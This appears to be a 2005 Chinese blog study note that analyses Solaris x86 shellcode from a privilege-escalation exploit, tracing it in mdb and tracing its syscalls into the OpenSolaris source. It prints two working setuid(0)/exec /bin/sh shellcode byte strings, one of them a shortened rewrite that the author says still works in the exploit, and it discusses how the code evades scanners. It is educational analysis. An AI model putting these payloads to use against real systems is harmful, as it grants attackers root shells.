Solaris學習筆記(2)

作者: Badcoffee
Email: [email protected]
Blog: http://blog.csdn.net/yayong
2005年7月

1. 一段shell code的分析

最近新發現的一個Solaris的安全漏洞可以使一個非特權用戶利用一個很簡單的攻擊程序得到系統的root權限,爲了不讓用Solaris系統的人遭暗算,具體細節就不說了。畢竟這篇文章不是教別人攻擊別人系統的黑客教程:)這裏只研究攻擊程序裏面的一段shell code。

問題:什麼是shell code?

要了解shell code,先從緩衝區溢出談起。

緩衝區溢出是黑客比較常用的攻擊手段之一。衆所周知,如果向一個有限空間的緩衝區拷貝了過長的字符串,就會覆蓋相鄰的存儲單元。進程的局部變量保存在 stack當中的,一個函數的stack frame相鄰的就是調用該函數時保存的返回地址。當發生緩衝區溢出並且覆蓋到存儲在stack中的函數反回地址,那麼當函數執行完畢後就無法正常返回。因爲這時返回地址往往是一個無效的地址,在這樣的情況下系統一般報告: "core dump"或"segment fault"。如果這種緩衝區溢出經過精心的計算,使得溢出後覆蓋到返回地址的那個地址指向我們寫的一段機器指令序列,那麼這個進程的流程就會被改變,從而由我們來控制。

多數情況下,這段精心設計的指令一般的目的是執行"/bin/sh",從而得到一個shell,因此這段代碼被稱爲:"shell code"。如果被溢出程序是一個suid root程序,得到的將是一個root shell,這樣整個機器就因爲緩衝區溢出而被完全控制了。

關於緩衝區溢出,aleph one的Smashing The Stack For Fun And Profit做入門教程不錯,可以看看。

爲方便分析,我們把這段shell code單獨拿出來,放到一個非常簡單的c程序裏研究。

下面是test1.c的源代碼:

static char sh[] = "/x31/xc0/xeb/x09/x5a/x89/x42/x01/x88/x42/x06/xeb/x0d/xe8/xf2/xff/xff/xff/x9a/x01/x01/x01/x01/x07/x01/xc3/x50/xb0/x17/xe8/xf0/xff/xff/xff/x31/xc0/x68/x2f/x73/x68/x5f/x68/x2f/x62/x69/x6e/x88/x44/x24/x07/x89/xe3/x50/x53/x8d/x0c/x24/x8d/x54/x24/x04/x52/x51/x53/xb0/x0b/xe8/xcb/xff/xff/xff";

int main() {
void (*f)();
f = (void*)sh;
f();
return 0;
}


這裏用函數指針指向字符數組sh,sh包含了整段shell code。main函數中通過對一個指向sh的函數指針的調用,從而使shell code得到執行。可以看到,程序運行後,當前的shell由bash變爲了sh:

bash-3.00# gcc test1.c -o test1
bash-3.00# ./test1
# <--- 提示符改變,說明/bin/sh已經被運行,shell code執行成功


下面我們就反彙編分析這段代碼。由於這段shell code在數據段,且不是一個函數定義,因此用mdb反彙編比用dis更直觀一些:

# mdb ./test1

> main::dis
main: pushl %ebp
main+1: movl %esp,%ebp ---> 建立main函數的Stack Frame
main+3: subl $0x8,%esp
main+6: andl $0xfffffff0,%esp
main+9: movl $0x0,%eax
main+0xe: addl $0xf,%eax
main+0x11: addl $0xf,%eax
main+0x14: shrl $0x4,%eax
main+0x17: shll $0x4,%eax
main+0x1a: subl %eax,%esp ---> main+3至main+0x1a的作用使main函數的棧對齊
main+0x1c: movl $0x8060a40,-0x4(%ebp) ---> 把數據段的sh的地址賦值給函數指針
main+0x23: movl -0x4(%ebp),%eax
main+0x26: call *%eax ---> 調用shell code
main+0x28: movl $0x0,%eax
main+0x2d: leave
main+0x2e: ret
> 0x8060a40=p ---> 將地址轉換爲符號
test1`sh ---> 可以看到,該地址就是sh的起始地址
> sh,1a/ai
test1`sh:
test1`sh: xorl %eax,%eax
test1`sh+2: jmp +0xb ---> 1. 向前跳轉到地址test1`sh+0xd
test1`sh+4: popl %edx ---> 3. 將lcall指令的地址從棧中彈出到edx
test1`sh+5: movl %eax,0x1(%edx)
test1`sh+8: movb %al,0x6(%edx) ---> 4. test1`sh+5和test1`sh+8將會把lcall指令修改成Solaris的標準的系統調用指令lcall $0x7,$0x0
test1`sh+0xb: jmp +0xf ---> 5. 向前跳轉到地址test1`sh+0x1a
test1`sh+0xd: call -0x9 ---> 2. 向後調用到地址test1`sh+4指令,同時下條指令lcall的地址test1`sh+0x12將作爲返回地址壓棧
test1`sh+0x12: lcall $0x107,$0x1010101 ---> 9. 步驟4中已經將lcall指令修改爲lcall $0x7,$0x0,新的lcall的作用是通過調用門進入Solaris內核執行系統調用
test1`sh+0x19: ret ---> 10.從setuid系統調用返回後,再執行返回指令會使xorl指令地址test1`sh+0x22從棧中彈出到eip中,使cpu從xorl處執行
test1`sh+0x1a: pushl %eax ---> 6. 此時eax寄存器的值是0,將0壓棧是爲構造setuid調用的入口參數,並且其值爲0,即root的id
test1`sh+0x1b: movb $0x17,%al ---> 7. 把setuid的系統調用號0x17放入到eax,是Solaris系統調用的要求
test1`sh+0x1d: call -0xb ---> 8. 向後調用地址test1`sh+0x12指令,此時lcall指令已經被修改了(見步驟4),同時將下條xorl指令的地址test1`sh+0x22壓棧
test1`sh+0x22: xorl %eax,%eax ---> 11.用xorl指令來給eax寄存器內容清零,常見的快速清零指令
test1`sh+0x24: pushl $0x5f68732f
test1`sh+0x29: pushl $0x6e69622f ---> 12.test1`sh+0x24和test1`sh+0x29將8個字符"/bin/sh_"壓入棧中
test1`sh+0x2e: movb %al,0x7(%esp) ---> 13.修改前面壓入棧中的第8個字符,改爲寄存器al中的值,即0;此時8個字符形成以"/0"結尾的字符串:"/bin/sh"
test1`sh+0x32: movl %esp,%ebx ---> 14.將棧頂esp地址移入ebx,即"/bin/sh"串的地址存入ebx寄存器
test1`sh+0x34: pushl %eax ---> 15.將0壓棧,這是exec的調用的第2個參數的第2個元素地址
test1`sh+0x35: pushl %ebx ---> 16.將ebx內容壓棧,即將"/bin/sh"串的地址壓棧,這是exec調用的第2個參數的第一個元素的地址
test1`sh+0x36: leal (%esp),%ecx ---> 17.將棧頂esp的地址存入ecx,即"/bin/sh"串的地址的地址存入ecx
test1`sh+0x39: leal 0x4(%esp),%edx ---> 18.將棧的esp+4的地址存入edx,即把步驟15壓入棧的0的地址存入edx。本條指令沒有實際意義
test1`sh+0x3d: pushl %edx ---> 19.將edx壓棧,即將棧中"0"的地址壓入棧;本條指令沒有實際意義
test1`sh+0x3e: pushl %ecx ---> 20.將ecx壓棧,即將"/bin/sh"串地址的地址壓入棧;這是exec調用的第2個參數
test1`sh+0x3f: pushl %ebx ---> 21.將ebx內容壓棧,即"/bin/sh"串的地址壓棧,這是exec調用的第1個參數
test1`sh+0x40: movb $0xb,%al ---> 22.將exec的系統調用號0xb放入eax寄存器,這是Solaris系統調用的要求
test1`sh+0x42: call -0x30 ---> 23.向後調用test1`sh+0x12地址處的指令,即lcall $0x7,$0x0,調用exec系統調用


關於main函數的棧對齊及Stack Frame的概念,可以參考X86彙編語言學習手記(1)
一般而言一個shell code至少要利用exec(2)類的系統調用來獲得一個shell,但又不能依賴於任何共享庫,甚至是libc庫。因此shell code必須要繞過libc對系統調用的包裝來直接調用操作系統提供的系統調用服務。在Solaris上,支持的系統調用的指令有5種:

lcall $0x7,$0x0 ---> 調用門,最古老的方式,現在保留是爲了向前兼容
lcall $0x27,$0x0 ---> 調用門,Solaris 10以前,在不支持快速系統調用的x86機器上使用的系統調用方式
int $0x91 ---> 陷阱門,OpenSolaris在不支持快速系統調用的x86機器上使用的系統調用方式
sysenter ---> 快速系統調用指令,Solaris 10在Intel和AMD的32位模式下的系統調用方式
syscall --->
快速系統調用指令,Solaris 10在Intel和AMD的64位模式下的系統調用方式

關於Solaris的系統調用,請參考閱讀筆記: x86系統調用入門

可以在這段shell code反彙編的結果裏找到lcall指令:

test1`sh+0x12:  lcall  $0x107,$0x1010101     ---> 9. 步驟4中已經將lcall指令修改爲lcall $0x7,$0x0,新的lcall的作用是通過調用門進入Solaris內核執行系統調用

雖然這個lcall指令並沒有調用$0x7和$0x27,但是如果用mdb來跟蹤一下,就會發現,原來在程序運行過程中這條lcall指令會被動態修改成爲

lcall $0x7,$0x0

具體的修改指令如下:

test1`sh+4:     popl   %edx                  ---> 3. 將lcall指令的地址從棧中彈出到edx
test1`sh+5: movl %eax,0x1(%edx)
test1`sh+8: movb %al,0x6(%edx) ---> 4. test1`sh+5和test1`sh+8將會把lcall指令修改成Solaris的標準的系統調用指令lcall $0x7,$0x0

在調用系統調用的指令之前,Solaris要求把系統調用號存入eax寄存器,因此,我們可以根據lcall執行前的eax的值查到這段shell code究竟使用了哪些系統調用:

# vi /etc/name_to_sysnum
........
exec 11 ---> 16進制的0xb
........
setuid 23 ---> 16進制的0x17
........

如果讀過閱讀筆記:如何給OpenSolaris增加一個系統調用這篇文章就知道,在內核中維護着一張系統調用號和內核處理函數指針的表。就在sysent.c裏的sysent結構中可以找到相關的定義:


/* 11 */ SYSENT_CI("exec", exec, 2),

/* 23 */ SYSENT_CI("setuid", setuid, 1),


因此可以很容易的找到內核中exec調用的入口函數,就在usr/src/uts/common/os/exec.c中:

/*
* exec() - wrapper around exece providing NULL environment pointer
*/
int
exec(const char *fname, const char **argp)
{
return (exece(fname, argp, NULL)); ---> 調用了內核中的另一個入口點exece,該入口對應用戶層libc中的execve函數。
}

同樣的,setuid調用的入口函數,就在usr/src/uts/common/syscall/uid.c中:

 int
setuid(uid_t uid)
{
........

}

現在我們知道這段shell code使用了系統調用setuid(2)exec(2),在用戶層setuid的定義是:

int setuid(uid_t uid);

但用戶層卻找不到名字與exec相同的函數定義,只有execv的參數和內核函數exec最接近:

int execv(const char *path, char *const argv[]);

把這段shell code對應成c語言,大概是如下形式:

# vi test2.c

#include
#include

int main()
{
char *argv[2]={"/bin/sh", NULL};
setuid(0);
execv(argv[0],argv);
return 0;
}

如果將test2.c和libc.a靜態鏈接起來,就可以得到進入系統調用的彙編指令,但是Solaris 10已經不提供libc.a了。

下面就用mdb來跟蹤一下整個shell code的執行過程:


> main+0x26:b ---> 設置斷點
> test1`sh+0xd:b ---> 設置斷點
> :r ---> 運行test1
mdb: stop at main+0x26
mdb: target stopped at:
main+0x26: call *%eax ---> test1運行到斷點main+0x26處,停止,下句指令就要調用shell code
> :c ---> 繼續運行
mdb: stop at test1`sh+0xd
mdb: target stopped at:
test1`sh+0xd: call -0x9 ---> 斷點處停止
> 輸出當前Stack的內容和eax寄存器的值
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0 ---> 此時eax的值爲0
> :s; 單步運行,並輸出Stack和eax寄存器的值
mdb: target stopped at:
test1`sh+4: popl %edx
0x8047438:
0x8047438: test1`sh+0x12 ---> 根據註釋2,lcall指令的地址被壓棧
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0
> :s; 單步運行,輸出Stack和eax及edx的內容
mdb: target stopped at:
test1`sh+5: movl %eax,0x1(%edx) ---> 根據註釋4,這條指令將會修改lcall指令
0x804743c:
0x804743c: main+0x28 ---> 根據註釋3,lcall指令地址被彈出,棧頂恢復到原來的值
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
8060a52 ---> 這是edx寄存器的值
> 8060a52/ai ---> 將edx指向的內容轉換成彙編指令
test1`sh+0x12:
test1`sh+0x12: lcall $0x107,$0x1010101 ---> 恰好是edx指向的恰好是lcall指令,正如註釋3所說
> :s; 單步運行,輸出Stack和eax的值,輸出edx的值,edx值按地址顯示
mdb: target stopped at:
test1`sh+8: movb %al,0x6(%edx) ---> 根據註釋4,這條指令將會修改lcall指令
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
test1`sh+0x12 ---> edx的內容已經按地址顯示,正好是lcall指令的地址
> test1`sh+0x12/ai ---> 將地址處的二進制數轉換指令
test1`sh+0x12:
test1`sh+0x12: lcall $0x107,$0x0 ---> 注意,lcall指令已經被修改了一部分
> :s;mdb: target stopped at:
test1`sh+0xb: jmp +0xf
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
test1`sh+0x12
> test1`sh+0x12/ai
test1`sh+0x12:
test1`sh+0x12: lcall $0x7,$0x0 ---> 至此,lcall指令修改完畢,正好是Solaris的系統調用的指令
> :s;mdb: target stopped at:
test1`sh+0x1a: pushl %eax
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
> :s;mdb: target stopped at:
test1`sh+0x1b: movb $0x17,%al
0x8047438:
0x8047438: 0 ---> 根據註釋6,這是setuid調用的第一個參數
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0
> :s;mdb: target stopped at:
test1`sh+0x1d: call -0xb
0x8047438:
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
17 ---> 根據註釋7,setuid的系統調用號已經被存入eax
> :s;mdb: target stopped at:
test1`sh+0x12: lcall $0x7,$0x0 ---> 進入setuid系統調用前夕,調用號和調用入口參數已準備好
0x8047434:
0x8047434: test1`sh+0x22 ---> 根據註釋8,我們看到,setuid返回後的地址被壓棧
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
17
> :s;mdb: target stopped at:
test1`sh+0x19: ret
0x8047434:
0x8047434: test1`sh+0x22 ---> 根據註釋10,執行返回指令後,該地址將被彈出到eip
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0
> :s;mdb: target stopped at:
test1`sh+0x22: xorl %eax,%eax ---> 返回到了前面彈出棧的地址,馬上要執行清零,見註釋11
0x8047438:
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0

> test1`sh+0x2e:b
> :c
mdb: stop at test1`sh+0x2e
mdb: target stopped at:
test1`sh+0x2e: movb %al,0x7(%esp)
> 0x8047430:
0x8047430: 0x6e69622f ---> 這時註釋12所描述的被壓入棧的"/bin/sh_"
0x8047434: 0x5f68732f
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0
> 0x8047430/s ---> 將當前棧頂的內容按字符串輸出,可以看到正如註釋12描述的情形
0x8047430: /bin/sh_
> test1`sh+0x42:b
> :c
mdb: stop at test1`sh+0x42
mdb: target stopped at:
test1`sh+0x42: call -0x30 ---> 即將調用exec系統調用,我們可以檢查是否準備好入口參數和調用號
> 0x804741c:
0x804741c: 0x8047430
0x8047420: 0x8047428
0x8047424: 0x804742c
0x8047428: 0x8047430
0x804742c: 0
0x8047430: 0x6e69622f
0x8047434: 0x68732f
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
b ---> 這是exec的調用號,已經存入eax
> 0x8047430/s
0x8047430: /bin/sh ---> exec第一個參數:const char *fname
> 0x8047428/X
0x8047428: 0x8047430 ---> exec第二個參數:const char **argp
> 0x8047430/s
0x8047dc0: /bin/sh ---> exec第二個參數的第一個元素:argp[0]
> 0x8047438/X
0x8047438: 0 ---> exec第二個參數第二個元素: argp[1]
>
> :s
mdb: target stopped at:
test1`sh+0x12: lcall $0x7,$0x0



從上面可以清楚地看到,以Solaris的lcall方式進入系統調用前,需要具備如下條件:
1. 系統調用的入口參數要從右至左順序壓入棧中。
2. 系統調用號要存入eax寄存器。

不清楚爲何這段shell code不直接調用lcall $0x07,$0x0,而是運行過程中再修改?
也不清楚爲何"/bin/sh"字符串不直接壓入棧,而是運行中由"/bin/sh_"來修改得到?

在Unix/Linux下,如何寫shell code可以參考Writing Linux/x86 shellcodes for dum dums這篇文章。
這篇文章中提到,一種檢測攻擊代碼的方法是查找像"/bin/sh"一類的字符串,並給出瞭如何逃過這種檢測的例子。本篇文章的shell code大費周章的做法,也許就是爲了逃避安全掃描程序的檢測吧。如果這種掃描程序真的是以/bin/sh和lcall $0x7,$0x0來掃描可疑程序,真的會失手呢。

2. 簡化這段shell code

這種運行中動態修改指令的做法恐怕也只能是在緩衝區溢出的攻擊中做到,因爲一般的程序是在代碼段中的,而代碼段是隻讀的,如果運行zh過程中修改自己的指令部分,將會因SIGFAULT的錯誤而core dump。前面的例子中,test1恰好是把shell code放到了數據段,數據段是可讀寫的,因此這段shell code才能運行。

我們可以用elfdump來查看test1,可以看到sh屬於數據段.data:

# elfdump test1 | grep sh
...................
[48] 0x08060a40 0x00000048 OBJT LOCL D 0 .data sh
...................


如果那些運行時修改指令的語句是爲了躲避掃描程序檢測,那完全可以去掉這些語句,來簡化這段shell code。
另外,可以根據內核中exec的參數個數判斷,test1中的下面的語句沒有實際意義,可以去掉:

test1`sh+0x39:  leal   0x4(%esp),%edx        ---> 18.將棧的esp+4的地址存入edx,即把步驟15壓入棧的0的地址存入edx。本條指令沒有實際意義
test1`sh+0x3d: pushl %edx ---> 19.將edx壓棧,即將棧中"0"的地址壓入棧;本條指令沒有實際意義

基於前面test1的反彙編的結果,去掉上面提到的語句後,我們可以得到一段彙編程序:

# vi test3.s

.text
.globl main
.type main, @function
main:
xorl %eax,%eax
jmp 2f
1:
lcall $0x07,$0x0
ret
2:
pushl %eax
movb $0x17,%al
call 1b
xorl %eax,%eax
pushl $0x0068732f
pushl $0x6e69622f
movl %esp,%ebx
pushl %eax
pushl %ebx
leal (%esp),%ecx
pushl %ecx
pushl %ebx
movb $0xb,%al
call 1b
.size main, .-main


彙編編和鏈接生成二進制文件。可以看到,shell code是在main函數中,屬於代碼段:

# as test3.s -o test3.o
# ld test3.o -o test3
# elfdump test3 | grep main
[4] 0x080501d4 0x00000030 FUNC GLOB D 0 .text main
[17] 0x080501d4 0x00000030 FUNC GLOB D 0 .text main
5 [4] main


用dis來反彙編main函數,就可以得到新的shell code的機器碼了:

# dis -F main ./test3
**** DISASSEMBLER ****
disassembly for ./test3

section .text
main()
main: 33 c0 xorl %eax,%eax
main+0x2: eb 08 jmp +0xa
main+0x4: 9a 00 00 00 00 07 00 lcall $0x7,$0x0
main+0xb: c3 ret
main+0xc: 50 pushl %eax
main+0xd: b0 17 movb $0x17,%al
main+0xf: e8 f0 ff ff ff call -0xb
main+0x14: 33 c0 xorl %eax,%eax
main+0x16: 68 2f 73 68 00 pushl $0x68732f
main+0x1b: 68 2f 62 69 6e pushl $0x6e69622f
main+0x20: 8b dc movl %esp,%ebx
main+0x22: 50 pushl %eax
main+0x23: 53 pushl %ebx
main+0x24: 8d 0c 24 leal (%esp),%ecx
main+0x27: 51 pushl %ecx
main+0x28: 53 pushl %ebx
main+0x29: b0 0b movb $0xb,%al
main+0x2b: e8 d4 ff ff ff call -0x27


如果運行test3,會起到和test1一樣的效果。完全可以用反彙編出的機器碼代替那個攻擊程序中原來的shell code定義:

static char sh[] =
"/x31/xc0/xeb/x08/x9a/x00/x00/x00/x00/x07/x00/xc3/x50/xb0/x17/xe8/xf0/xff/xff/xff/x31/xc0/x68/x2f/x73/x68/x00/x68/x2f/x62/x69/x6e/x89/xe3/x50/x53/x8d/x0c/x24/x51/x53/xb0/x0b/xe8/xcf/xff/xff/xff";


當然,把這段shell code拿到攻擊程序中驗證了一下,確實依舊具有殺傷力。但是,這個新的shell code短了十幾個字節。

3. 更進一步

到目前爲止,前面所有的過程都是通過mdb和dis反彙編後,在彙編代碼一級的分析。既然Solaris已經Open Source了,爲什麼不直接從源代碼裏印證一下呢?

首先,我們驗證一下Solaris進入到系統調用的方式,在 usr/src/lib/libc目錄下,我們可以找到libc實現的源代碼。該目錄下按照libc函數和硬件的相關性分了很多目錄,setuid(2)exec(2)看起來和硬件沒有什麼相關,應該在common目錄下,common只有一個子目錄sys,所以不難找到這兩個系統調用在libc的源文件setuid.sexecve.s

下面是setuid在libc 的實現片斷:

#include "SYS.h"

ANSI_PRAGMA_WEAK2(_private_setuid,_setuid,function)
SYSCALL_RVAL1(setuid)
RETC
SET_SIZE(setuid)


由於exec調用在libc中沒有對應的實現,而與之參數形式最接近的execv(2)實際上只是在execve(2)上包裝了一下,最終還是調用的execve。因此在這裏我們考察execve在libc的實現片斷:

#include "SYS.h"

ANSI_PRAGMA_WEAK2(_private_execve,execve,function)
SYSCALL_RVAL1(execve)
SET_SIZE(execve)


這兩個系統調用在libc是用匯編實現的,但其中的彙編語句已經被宏定義所代替,在usr/src/uts/intel/ia32/sys/asm_linkage.h中可以找到一般的IA32體系結構的彙編的宏定義。ANSI_PRAGMA_WEAK2 這個宏的的定義如下:

/*
* Like ANSI_PRAGMA_WEAK(), but for unrelated names, as in:
* #pragma weak sym1 = sym2
*/

#define ANSI_PRAGMA_WEAK2(sym1, sym2, stype) /
.weak sym1; /
.type sym1, @stype; /
sym1 = sym2


這裏面用到的相關語法及僞指令可以參考x86 Assembly Language Reference Manual

如果看註釋的話,不難了解,其實這個宏的作用就是符號定義,給系統調用定義了weak類型的符號別名,相當於ANSI C的:

#pragma weak sym1 = sym2

用nm命令可以驗證一下這個宏的實際作用:

# nm /lib/libc.so.1  | grep setuid
[712] | 647744| 21|FUNC |LOCL |2 |10 |_private_setuid
[6643] | 647744| 21|FUNC |GLOB |0 |10 |_setuid
[6473] | 647744| 21|FUNC |WEAK |0 |10 |setuid

可以看到,_private_setuid和_setuid及setuid是多個符號對應着同一個函數。

用nm也可以驗證libc中確實沒有exec的定義,由於輸出很多,這裏就不列出了:

# nm /lib/libc.so.1  | grep exec

SET_SIZE 這個宏的作用是定位函數併爲ELF文件的符號表指示長度,其實展開就是Solaris彙編器的僞指令.size:

#define       SET_SIZE(x) /
285 .size x, [.-x]

RETC這個宏是用來定義系統調用的返回指令,在libc的源代碼SYS.h中,可以找到如下定義:

/*
* Syscall return sequence with return code forced to zero.
*/
#define RETC /
xorl %eax, %eax; /
ret

可以看到註釋中的說明,RETC的宏在返回前將return code強制設爲0。

爲什麼libc的execve的實現中沒有返回指令呢?

這個問題相信不難解答。實際上execve系統調用一旦執行成功,就會把調用該調用的進程覆蓋掉,因此,也就不存在返回的問題了。

這裏我們略過其它宏,只研究關心的部分,即SYSCALL_RVAL1這個宏。在libc的源代碼SYS.h有一系列宏定義:

#if defined(_SYSC_INSN)                             --->兼容AMD64位的系統
#define SYSTRAP_RVAL1(name) __SYSCALL(name)
#define SYSTRAP_RVAL2(name) __SYSCALL(name)
#define SYSTRAP_2RVALS(name) __SYSCALL(name)
#define SYSTRAP_64RVAL(name) __SYSCALL(name)
#else /* _SYSC_INSN */
#if defined(_SEP_INSN) --->兼容IA32的支持快速系統調用的系統
#define SYSTRAP_RVAL1(name) __SYSENTER(name)
#else /* _SEP_INSN */
#define SYSTRAP_RVAL1(name) __SYSCALLINT(name)
#endif /* _SEP_INSN */
#define SYSTRAP_RVAL2(name) __SYSCALLINT(name)
#define SYSTRAP_2RVALS(name) __SYSCALLINT(name)
#define SYSTRAP_64RVAL(name) __SYSCALLINT(name)
#endif /* _SYSC_INSN */


i386_hwcap1i386_hwcap2源代碼目錄下的Makefile文件中針對AMD64和IA32的支持快速系統調用的CPU分別定義瞭如下的宏:

_SYSC_INSN--兼容AMD64位的系統,使用syscall作爲快速系統調用指令,對應libc的hwcap2版本
_SEP_INSN--兼容IA32的支持快速系統調用的系統,使用sysenter作爲快速系統調用指令,對應libc的hwcap1版本

因此,Solaris除了系統會提供標準的libc版本外,還會有相應的硬件優化版本,分別是支持__SYSCALL()的hwcap2版本或者使用 __SYSENTER()的 hwcap1版本。

而在標準的libc庫的Makefile因爲沒有定義上面提到的兩個宏,因此SYSCALL_RVAL1就是__SYSCALLINT了:

#define    __SYSCALLINT(name)        /
/* CSTYLED */ /
movl $SYS_/**/name, %eax; /
int $T_SYSCALLINT

usr/src/uts/intel/ia32/sys/trap.h中,可以找到T_SYSCALLINT的值:

#define    T_SYSCALLINT    0x91    /*      general system call             */

可以看到,OpenSolaris標準的libc用的是int $0x91的方式。
很可惜在SYS.h中已經找不到lcall的方式了。在閱讀筆記: x86系統調用入門中可以知道,OpenSolaris的標準libc庫已經用int $0x91全面取代lcall的方式,這種方式和Linux的int $0x80是類似的。在這篇文章中,我們可以找到SYS.h原來的影子:

rab> pwd.../usr/src/lib/libc/i386/incrab

> grep SYSTRAP_RVAL1 SYS.h
#define SYSTRAP_RVAL1(name) __SYSCALL(name)
#define SYSTRAP_RVAL1(name) __SYSENTER(name)
#define SYSTRAP_RVAL1(name) __SYSLCALL(name)

#define __SYSLCALL(name) /
/* CSTYLED */ /
movl $SYS_/**/name, %eax; /
lcall $SYSCALL_TRAPNUM, $0


當然,不論是哪一種方式,在調用系統調用之前,都會把SYS_/**/name的宏存入eax寄存器。根據系統調用的名字不同,name要被替換成相應的調用名字,對於setuid和execve,可以在syscall.h找到定義:

#define     SYS_setuid      23   ---> 這個值就是16進制的0x17
#define SYS_execve 59 ---> 這個值不是0xb,說明execve和exec是兩個不同的系統調用

就在sysent.c裏的sysent結構中可以找到調用號59對應的入口:

        /* 59 */ SYSENT_CI("exece",             exece,          3),        

原來內核中另外還有一個exece的入口點,來支持libc中的execve進入系統調用。如前所述,內核中的exec函數是調用號11的入口點,再回頭看它的代碼,實際上它就是直接在內核中調用exece來實現的。

我們可以用mdb來反彙編libc的系統調用,驗證一下。由於P4的CPU支持快速系統調用指令sysenter,因此Solaris默認會把 libc_hwcap1.so.1 mount在/lib/libc.so.1上,因此,要觀察標準的libc庫,需要先umount libc:

# df -h
Filesystem size used avail capacity Mounted on
/dev/dsk/c0d0s0 11G 4.3G 6.2G 42% /
objfs 0K 0K 0K 0% /system/object
/usr/lib/libc/libc_hwcap1.so.1
11G 4.3G 6.2G 42% /lib/libc.so.1 ---> 可以看到libc_hwcap1.so.1 mount在了這裏
swap 872M 8K 872M 1% /tmp
swap 872M 28K 872M 1% /var/run
/dev/dsk/c0d0s7 25G 12G 13G 49% /export/home

# umount /lib/libc.so.1

# mdb /lib/libc.so.1 ---> 因爲umount了,所以這時的libc是標準的libc
Loading modules: [ libc.so.1 ]
> setuid::dis
setuid: movl $0x17,%eax
setuid+5: lcall $0x27,$0x0
setuid+0xc: jb -0x807ac <__cerror>
setuid+0x12: xorl %eax,%eax
setuid+0x14: ret
> execve::dis
execve: movl $0x3b,%eax
execve+5: lcall $0x27,$0x0
execve+0xc: jb -0x7febc <__cerror>


